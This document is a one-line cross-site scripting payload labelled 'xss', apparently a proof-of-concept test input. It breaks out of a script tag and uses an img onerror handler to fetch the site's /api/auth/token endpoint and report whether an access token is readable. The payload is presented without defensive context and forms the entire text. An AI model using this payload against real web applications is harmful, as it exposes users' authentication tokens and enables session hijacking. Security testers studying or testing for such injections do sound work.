aaaaa</script><img src=x onerror='fetch(`/api/auth/token`).then(r=>r.json()).then(j=>alert(!!j.data.accessToken))'>

xss